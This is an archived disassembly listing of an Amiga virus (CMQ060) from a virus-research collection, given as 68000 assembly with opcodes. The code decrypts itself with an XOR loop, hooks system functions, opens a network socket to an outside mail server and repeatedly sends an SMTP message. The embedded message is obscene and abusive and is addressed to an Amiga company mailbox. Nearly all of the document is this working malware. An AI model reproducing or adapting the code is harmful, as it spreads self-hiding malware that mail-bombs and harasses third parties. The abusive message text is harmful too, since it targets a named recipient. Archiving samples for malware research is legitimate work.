home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
telefisk.org
/
virusCollection.lzx
/
VirusResearch
/
zakapior
/
CMQ060_dec.asm
< prev
next >
Wrap
Assembly Source File
|
2014-01-05
|
13KB
|
517 lines
; IRA V1.02 (Sep 6 1993) (c)1993 Tim Ruehsen
ABSEXECBASE EQU $4
EXT_0001 EQU $2000
EXT_0002 EQU $39290000
EXT_0003 EQU $FFFFFD8A
EXT_0004 EQU $FFFFFD90
SECTION S_0,CODE
SECSTRT_0:
MOVEM.L D0-D7/A0-A6,-(A7) ;000: 48E7FFFE
MOVEA.L (ABSEXECBASE).W,A6 ;004: 2C780004
LEA LAB_0001(PC),A0 ;008: 41FA0014
LEA LAB_001C+2(PC),A1 ;00C: 43FA0208
MOVE #$DEAD,D0 ;010: 303CDEAD
LAB_0000:
EOR D0,(A0)+ ;014: B158
CMPA.L A0,A1 ;016: B3C8
BNE.S LAB_0000 ;018: 66FA
JSR -636(A6) ;01A: 4EAEFD84
LAB_0001:
BSR.S LAB_0002 ;01E: 610C
DC.W $646F ;020
DC.W $732E ;022
DC.W $6C69 ;024
BHI.S LAB_0006 ;026: 6272
BSR.S LAB_0007 ;028: 6172
DC.W $7900 ;02A
LAB_0002:
MOVEA.L (A7)+,A1 ;02C: 225F
MOVEQ #37,D0 ;02E: 7025
JSR -552(A6) ;030: 4EAEFDD8
MOVE.L D0,D6 ;034: 2C00
BEQ.S LAB_0004 ;036: 6744
LEA LAB_001C+2(PC),A0 ;038: 41FA01DC
MOVE.L D6,(A0) ;03C: 2086
MOVE.L #$00000196,D4 ;03E: 283C00000196
MOVEQ #0,D1 ;044: 7200
MOVE.L D4,D0 ;046: 2004
JSR -684(A6) ;048: 4EAEFD54
MOVE.L D0,D5 ;04C: 2A00
BEQ.S LAB_0003 ;04E: 6726
MOVEA.L D0,A1 ;050: 2240
LEA LAB_0005(PC),A0 ;052: 41FA0030
MOVE.L D4,D0 ;056: 2004
JSR -624(A6) ;058: 4EAEFD90
EXG D6,A6 ;05C: CD8E
LEA LAB_001B(PC),A0 ;05E: 41FA01AC
LEA LAB_0019(PC),A1 ;062: 43FA0194
MOVE.L A0,12(A1) ;066: 2348000C
MOVE.L A1,D1 ;06A: 2209
MOVE.L D5,4(A1) ;06C: 23450004
JSR -498(A6) ;070: 4EAEFE0E
EXG D6,A6 ;074: CD8E
LAB_0003:
MOVEA.L D6,A1 ;076: 2246
JSR -414(A6) ;078: 4EAEFE62
LAB_0004:
MOVEM.L (A7)+,D0-D7/A0-A6 ;07C: 4CDF7FFF
BRA LAB_001D ;080: 60000198
LAB_0005:
MOVEA.L (ABSEXECBASE).W,A6 ;084: 2C780004
MOVEQ #4,D0 ;088: 7004
LEA LAB_000E(PC),A1 ;08A: 43FA0092
JSR -552(A6) ;08E: 4EAEFDD8
TST.L D0 ;092: 4A80
BEQ.S LAB_000D ;094: 6774
MOVEQ #-1,D4 ;096: 78FF
MOVEA.L D0,A5 ;098: 2A40
LAB_0006:
MOVEQ #2,D0 ;09A: 7002
LAB_0007:
MOVEQ #1,D1 ;09C: 7201
MOVEQ #0,D2 ;09E: 7400
EXG A5,A6 ;0A0: CB4E
JSR -30(A6) ;0A2: 4EAEFFE2
CMP.L D4,D0 ;0A6: B084
BEQ.S LAB_000C ;0A8: 6758
MOVE.L D0,D6 ;0AA: 2C00
MOVE.L #$0000FFFF,D1 ;0AC: 223C0000FFFF
MOVE.L #$00000080,D2 ;0B2: 243C00000080
LEA LAB_0010(PC),A0 ;0B8: 41FA0082
MOVEQ #8,D3 ;0BC: 7608
JSR -90(A6) ;0BE: 4EAEFFA6
LEA LAB_000F(PC),A0 ;0C2: 41FA006C
MOVE.L D6,D0 ;0C6: 2006
MOVEQ #16,D1 ;0C8: 7210
JSR -54(A6) ;0CA: 4EAEFFCA
CMP.L D4,D0 ;0CE: B084
BEQ.S LAB_000B ;0D0: 672A
LEA LAB_0011(PC),A3 ;0D2: 47FA0070
LAB_0008:
MOVE.L A3,D0 ;0D6: 200B
LAB_0009:
TST.B (A3)+ ;0D8: 4A1B
BNE.S LAB_0009 ;0DA: 66FC
MOVE.L A3,D3 ;0DC: 260B
SUB.L D0,D3 ;0DE: 9680
SUBQ.L #1,D3 ;0E0: 5383
BEQ.S LAB_000A ;0E2: 6710
MOVEA.L D0,A0 ;0E4: 2040
MOVEQ #0,D2 ;0E6: 7400
MOVE.L D6,D0 ;0E8: 2006
MOVE.L D3,D1 ;0EA: 2203
JSR -66(A6) ;0EC: 4EAEFFBE
CMP.L D0,D3 ;0F0: B680
BEQ.S LAB_0008 ;0F2: 67E2
LAB_000A:
MOVE.L D6,D0 ;0F4: 2006
MOVEQ #2,D1 ;0F6: 7202
JSR -84(A6) ;0F8: 4EAEFFAC
LAB_000B:
MOVE.L D6,D0 ;0FC: 2006
JSR -120(A6) ;0FE: 4EAEFF88
LAB_000C:
EXG A5,A6 ;102: CB4E
MOVEA.L A5,A1 ;104: 224D
JSR -414(A6) ;106: 4EAEFE62
LAB_000D:
LEA LAB_001C+2(PC),A0 ;10A: 41FA010A
MOVEA.L (A0),A6 ;10E: 2C50
MOVE.L #$00000BB8,D1 ;110: 223C00000BB8
JSR -198(A6) ;116: 4EAEFF3A
BRA LAB_0005 ;11A: 6000FF68
LAB_000E:
DC.W $6273 ;11E
DC.W $6473 ;120
DC.W $6F63 ;122
DC.W $6B65 ;124
MOVEQ #46,D2 ;126: 742E
DC.W $6C69 ;128
BHI.S LAB_0012 ;12A: 6272
BSR.S LAB_0013 ;12C: 6172
DC.W $7900 ;12E
LAB_000F:
MOVE.B D2,D0 ;130: 1002
DC.W $0019 ;132
EXG D1,A7 ;134: C38F
MOVEA D6,A4 ;136: 3846
ORI.B #$00,D0 ;138: 00000000
LAB_0010:
ORI.B #$01,D0 ;13C: 00000001
ORI.B #$1E,D0 ;140: 0000001E
LAB_0011:
SWAP D5 ;144: 4845
DC.W $4C4F ;146
DC.W $0A00 ;148
DC.W $4D41 ;14A
DC.W $494C ;14C
MOVEA.L D6,A0 ;14E: 2046
ADDQ #1,A7 ;150: 524F
DC.W $4D3A ;152
MOVE.L #$583E0A00,D0 ;154: 203C583E0A00
ADDQ #1,D3 ;15A: 5243
ADDQ #8,(A4) ;15C: 5054
MOVEA.L (A4),A0 ;15E: 2054
DC.W $4F3A ;160
MOVE.L #$70726573,D0 ;162: 203C70726573
BVS.S LAB_0017 ;168: 6964
BCS.S LAB_0018 ;16A: 656E
MOVEQ #64,D2 ;16C: 7440
DC.W $616D ;16E
DC.W $6967 ;170
BSR.S LAB_0014 ;172: 612E
DC.W $636F ;174
BLT.S LAB_0016 ;176: 6D3E
DC.W $0A00 ;178
NEG D1 ;17A: 4441
ADDQ #2,D1 ;17C: 5441
DC.W $0A00 ;17E
DC.W $4672 ;180
DC.W $6F6D ;182
MOVE -(A0),D5 ;184: 3A20
DC.W $416D ;186
DC.W $6967 ;188
BSR.S LAB_0015 ;18A: 6120
DC.W $4C6F ;18C
MOVEQ #101,D3 ;18E: 7665
MOVEQ #32,D1 ;190: 7220
DC.W $3C3E ;192
DC.W $0A00 ;194
DC.W $5375 ;196
BHI.S LAB_001A+2 ;198: 626A
DC.W $6563 ;19A
MOVEQ #58,D2 ;19C: 743A
LAB_0012:
MOVEA.L D6,A0 ;19E: 2046
LAB_0013:
DC.W $494C ;1A0
LAB_0014:
ADDQ #2,A0 ;1A2: 5448
SUBQ.B #4,-(A0) ;1A4: 5920
DC.W $4355 ;1A6
LINK A4,#8458 ;1A8: 4E54210A
LAB_0015:
DC.W $0A00 ;1AC
NOT (A5) ;1AE: 4655
DC.W $434B ;1B0
MOVEA.L (A5),A0 ;1B2: 2055
MOVEA.L A6,A0 ;1B4: 204E
LAB_0016:
DC.W $415A ;1B6
DC.W $4920 ;1B8
DC.W $4355 ;1BA
DC.W $4E54 ;1BC
MOVE.L 8260(A5),D0 ;1BE: 202D2044
DC.W $4945 ;1C2
MOVEA.L D1,A0 ;1C4: 2041
TRAP #4 ;1C6: 4E44
MOVEA.L D2,A0 ;1C8: 2042
SUBQ #2,(A2) ;1CA: 5552
DC.W $4E20 ;1CC
LAB_0017:
DC.W $494E ;1CE
MOVEA.L A0,A0 ;1D0: 2048
DC.W $454C ;1D2
DC.W $4C20 ;1D4
DC.W $414D ;1D6
DC.W $4947 ;1D8
LAB_0018:
DC.W $4120 ;1DA
DC.W $4B49 ;1DC
DC.W $4C4C ;1DE
DC.W $494E ;1E0
DC.W $4720 ;1E2
SUBQ #3,A0 ;1E4: 5748
DC.W $4F52 ;1E6
DC.W $4521 ;1E8
DC.W $0A00 ;1EA
DC.W $0A0A ;1EC
MOVE.L A2,D7 ;1EE: 2E0A
ORI #$5549,(A1) ;1F0: 00515549
DC.W $540A ;1F4
DC.W $0000 ;1F6
LAB_0019:
OR.B D0,D0 ;1F8: 8000
BSET D1,0(A3) ;1FA: 03EB0000
DC.W $0000 ;1FE
OR.B D0,D0 ;200: 8000
LAB_001A:
BSET D1,0(A4,D0.W) ;202: 03F40000
ORI.B #$00,D0 ;206: 00000000
DC.W $0000 ;20A
LAB_001B:
MOVEQ #97,D5 ;20C: 7A61
DC.W $6B61 ;20E
MOVEQ #105,D0 ;210: 7069
BLE.S LAB_0020 ;212: 6F72
LAB_001C:
ORI.B #$00,D0 ;214: 00000000
DC.W $0000 ;218
LAB_001D:
MOVEA.L (ABSEXECBASE).W,A6 ;21A: 2C780004
BTST #3,297(A6) ;21E: 082E00030129
BNE.S LAB_001F ;224: 6604
LAB_001E:
MOVEQ #20,D0 ;226: 7014
RTS ;228: 4E75
LAB_001F:
MOVE.L #$000001A3,D0 ;22A: 203C000001A3
MOVEQ #1,D1 ;230: 7201
JSR -198(A6) ;232: 4EAEFF3A
MOVE.L D0,D6 ;236: 2C00
BEQ.S LAB_001E ;238: 67EC
ADDI #$000F,D6 ;23A: 0646000F
ANDI.B #$F0,D6 ;23E: 020600F0
LEA LAB_0021(PC),A0 ;242: 41FA004C
MOVEA.L D6,A1 ;246: 2246
MOVE.L #$00000194,D0 ;248: 203C00000194
BSR LAB_0030 ;24E: 61000128
MOVEA.L A6,A1 ;252: 224E
LEA (EXT_0004).W,A0 ;254: 41F8FD90
MOVE.L D6,D0 ;258: 2006
JSR -420(A6) ;25A: 4EAEFE5C
MOVEA.L A6,A1 ;25E: 224E
LEA (EXT_0003).W,A0 ;260: 41F8FD8A
MOVE.L D6,D0 ;264: 2006
ADDI.L #$000000E8,D0 ;266: 0680000000E8
JSR -420(A6) ;26C: 4EAEFE5C
MOVEQ #0,D0 ;270: 7000
RTS ;272: 4E75
MOVEA.L (A6),A2 ;274: 2456
DC.W $4552 ;276
MOVE -(A0),D5 ;278: 3A20
DC.W $434D ;27A
DC.W $5130 ;27C
DC.W $3630 ;27E
DC.W $2031 ;280
MOVE.L 40(A5,D2.W),D7 ;282: 2E352028
LAB_0020:
DC.W $3130 ;286
DC.W $2E37 ;288
MOVE.L EXT_0002,D7 ;28A: 2E3939290000
LAB_0021:
TST.L D0 ;290: 4A80
BEQ.S LAB_0029 ;292: 674C
MOVE A1,D1 ;294: 3209
BTST #0,D1 ;296: 08010000
BEQ.S LAB_0022 ;29A: 6708
MOVE.B (A0)+,(A1)+ ;29C: 12D8
SUBQ.L #1,D0 ;29E: 5380
BEQ.S LAB_0029 ;2A0: 673E
MOVE A1,D1 ;2A2: 3209
LAB_0022:
BTST #1,D1 ;2A4: 08010001
BEQ.S LAB_0024 ;2A8: 6712
CMPI.L #$00000001,D0 ;2AA: 0C8000000001
BNE.S LAB_0023 ;2B0: 6604
MOVE.B (A0)+,(A1)+ ;2B2: 12D8
RTS ;2B4: 4E75
LAB_0023:
MOVE (A0)+,(A1)+ ;2B6: 32D8
SUBQ.L #2,D0 ;2B8: 5580
BEQ.S LAB_0029 ;2BA: 6724
LAB_0024:
CMPI.L #$00000810,D0 ;2BC: 0C8000000810
BCC.S LAB_002A ;2C2: 641E
LAB_0025:
MOVE.L D0,D1 ;2C4: 2200
LSR #2,D1 ;2C6: E449
BEQ.S LAB_0027 ;2C8: 6706
LAB_0026:
MOVE.L (A0)+,(A1)+ ;2CA: 22D8
SUBQ #1,D1 ;2CC: 5341
BNE.S LAB_0026 ;2CE: 66FA
LAB_0027:
BTST #1,D0 ;2D0: 08000001
BEQ.S LAB_0028 ;2D4: 6702
MOVE (A0)+,(A1)+ ;2D6: 32D8
LAB_0028:
BTST #0,D0 ;2D8: 08000000
BEQ.S LAB_0029 ;2DC: 6702
MOVE.B (A0)+,(A1)+ ;2DE: 12D8
LAB_0029:
RTS ;2E0: 4E75
LAB_002A:
CMPA.L #$01000000,A0 ;2E2: B1FC01000000
BCS.S LAB_002E ;2E8: 655A
CMPA.L #$01000000,A1 ;2EA: B3FC01000000
BCS.S LAB_002E ;2F0: 6552
MOVE A1,D1 ;2F2: 3209
BTST #2,D1 ;2F4: 08010002
BEQ.S LAB_002B ;2F8: 6706
SUBQ.L #4,D0 ;2FA: 5980
MOVE.L (A0)+,(A1)+ ;2FC: 22D8
MOVE A1,D1 ;2FE: 3209
LAB_002B:
BTST #3,D1 ;300: 08010003
BEQ.S LAB_002C ;304: 6706
SUBQ.L #8,D0 ;306: 5180
MOVE.L (A0)+,(A1)+ ;308: 22D8
MOVE.L (A0)+,(A1)+ ;30A: 22D8
LAB_002C:
MOVE A0,D1 ;30C: 3208
ANDI.B #$0F,D1 ;30E: 0201000F
BNE.S LAB_002E ;312: 6630
MOVE.L D0,D1 ;314: 2200
LSR.L #7,D1 ;316: EE89
LAB_002D:
DC.W $F620 ;318
SUB.B D0,D0 ;31A: 9000
DC.W $F620 ;31C
SUB.B D0,D0 ;31E: 9000
DC.W $F620 ;320
SUB.B D0,D0 ;322: 9000
DC.W $F620 ;324
SUB.B D0,D0 ;326: 9000
DC.W $F620 ;328
SUB.B D0,D0 ;32A: 9000
DC.W $F620 ;32C
SUB.B D0,D0 ;32E: 9000
DC.W $F620 ;330
SUB.B D0,D0 ;332: 9000
DC.W $F620 ;334
SUB.B D0,D0 ;336: 9000
SUBQ.L #1,D1 ;338: 5381
BNE.S LAB_002D ;33A: 66DC
AND #$007F,D0 ;33C: C07C007F
BNE.S LAB_0025 ;340: 6682
RTS ;342: 4E75
LAB_002E:
MOVE.L D0,D1 ;344: 2200
LSR.L #6,D1 ;346: EC89
LAB_002F:
MOVE.L (A0)+,(A1)+ ;348: 22D8
MOVE.L (A0)+,(A1)+ ;34A: 22D8
MOVE.L (A0)+,(A1)+ ;34C: 22D8
MOVE.L (A0)+,(A1)+ ;34E: 22D8
MOVE.L (A0)+,(A1)+ ;350: 22D8
MOVE.L (A0)+,(A1)+ ;352: 22D8
MOVE.L (A0)+,(A1)+ ;354: 22D8
MOVE.L (A0)+,(A1)+ ;356: 22D8
MOVE.L (A0)+,(A1)+ ;358: 22D8
MOVE.L (A0)+,(A1)+ ;35A: 22D8
MOVE.L (A0)+,(A1)+ ;35C: 22D8
MOVE.L (A0)+,(A1)+ ;35E: 22D8
MOVE.L (A0)+,(A1)+ ;360: 22D8
MOVE.L (A0)+,(A1)+ ;362: 22D8
MOVE.L (A0)+,(A1)+ ;364: 22D8
MOVE.L (A0)+,(A1)+ ;366: 22D8
SUBQ.L #1,D1 ;368: 5381
BNE.S LAB_002F ;36A: 66DC
AND #$003F,D0 ;36C: C07C003F
BNE LAB_0025 ;370: 6600FF52
RTS ;374: 4E75
NOP ;376: 4E71
LAB_0030:
LSR.L #2,D0 ;378: E488
CMPI.L #$00000204,D0 ;37A: 0C8000000204
BCC.S LAB_0033 ;380: 640C
TST D0 ;382: 4A40
BEQ.S LAB_0032 ;384: 6706
LAB_0031:
MOVE.L (A0)+,(A1)+ ;386: 22D8
SUBQ #1,D0 ;388: 5340
BNE.S LAB_0031 ;38A: 66FA
LAB_0032:
RTS ;38C: 4E75
LAB_0033:
CMPA.L #$01000000,A0 ;38E: B1FC01000000
BCS.S LAB_0037 ;394: 655A
CMPA.L #$01000000,A1 ;396: B3FC01000000
BCS.S LAB_0037 ;39C: 6552
MOVE A1,D1 ;39E: 3209
BTST #2,D1 ;3A0: 08010002
BEQ.S LAB_0034 ;3A4: 6706
SUBQ.L #1,D0 ;3A6: 5380
MOVE.L (A0)+,(A1)+ ;3A8: 22D8
MOVE A1,D1 ;3AA: 3209
LAB_0034:
BTST #3,D1 ;3AC: 08010003
BEQ.S LAB_0035 ;3B0: 6706
SUBQ.L #2,D0 ;3B2: 5580
MOVE.L (A0)+,(A1)+ ;3B4: 22D8
MOVE.L (A0)+,(A1)+ ;3B6: 22D8
LAB_0035:
MOVE A0,D1 ;3B8: 3208
ANDI.B #$0F,D1 ;3BA: 0201000F
BNE.S LAB_0037 ;3BE: 6630
MOVE.L D0,D1 ;3C0: 2200
LSR.L #5,D1 ;3C2: EA89
LAB_0036:
DC.W $F620 ;3C4
SUB.B D0,D0 ;3C6: 9000
DC.W $F620 ;3C8
SUB.B D0,D0 ;3CA: 9000
DC.W $F620 ;3CC
SUB.B D0,D0 ;3CE: 9000
DC.W $F620 ;3D0
SUB.B D0,D0 ;3D2: 9000
DC.W $F620 ;3D4
SUB.B D0,D0 ;3D6: 9000
DC.W $F620 ;3D8
SUB.B D0,D0 ;3DA: 9000
DC.W $F620 ;3DC
SUB.B D0,D0 ;3DE: 9000
DC.W $F620 ;3E0
SUB.B D0,D0 ;3E2: 9000
SUBQ.L #1,D1 ;3E4: 5381
BNE.S LAB_0036 ;3E6: 66DC
AND #$001F,D0 ;3E8: C07C001F
BNE.S LAB_0031 ;3EC: 6698
RTS ;3EE: 4E75
LAB_0037:
MOVE.L D0,D1 ;3F0: 2200
LSR.L #4,D1 ;3F2: E889
LAB_0038:
MOVE.L (A0)+,(A1)+ ;3F4: 22D8
MOVE.L (A0)+,(A1)+ ;3F6: 22D8
MOVE.L (A0)+,(A1)+ ;3F8: 22D8
MOVE.L (A0)+,(A1)+ ;3FA: 22D8
MOVE.L (A0)+,(A1)+ ;3FC: 22D8
MOVE.L (A0)+,(A1)+ ;3FE: 22D8
MOVE.L (A0)+,(A1)+ ;400: 22D8
MOVE.L (A0)+,(A1)+ ;402: 22D8
MOVE.L (A0)+,(A1)+ ;404: 22D8
MOVE.L (A0)+,(A1)+ ;406: 22D8
MOVE.L (A0)+,(A1)+ ;408: 22D8
MOVE.L (A0)+,(A1)+ ;40A: 22D8
MOVE.L (A0)+,(A1)+ ;40C: 22D8
MOVE.L (A0)+,(A1)+ ;40E: 22D8
MOVE.L (A0)+,(A1)+ ;410: 22D8
MOVE.L (A0)+,(A1)+ ;412: 22D8
SUBQ.L #1,D1 ;414: 5381
BNE.S LAB_0038 ;416: 66DC
AND #$000F,D0 ;418: C07C000F
BNE LAB_0031 ;41C: 6600FF68
RTS ;420: 4E75
NOP ;422: 4E71
MOVE 48(A0,D3.W),D0 ;424: 30303030
BVC.S LAB_0039 ;428: 6818
MOVE.L A0,(A3) ;42A: 2688
DC.W $682A ;42C
DC.W $6D50 ;42E
DC.W $0000 ;430
DC.W $682A ;432
MOVEQ #85,D2 ;434: 7455
ORI.B #$33,D0 ;436: 00000033
DC.W $9B30 ;43A
DC.W $6D48 ;43C
DC.W $6578 ;43E
DC.W $206E ;440
LAB_0039:
DC.W $756D ;442
DC.W $6265 ;444
MOVEQ #32,D1 ;446: 7220
DC.W $3638 ;448
MOVEA D1,A1 ;44A: 3241
DC.W $3734 ;44C
DC.W $3638 ;44E
END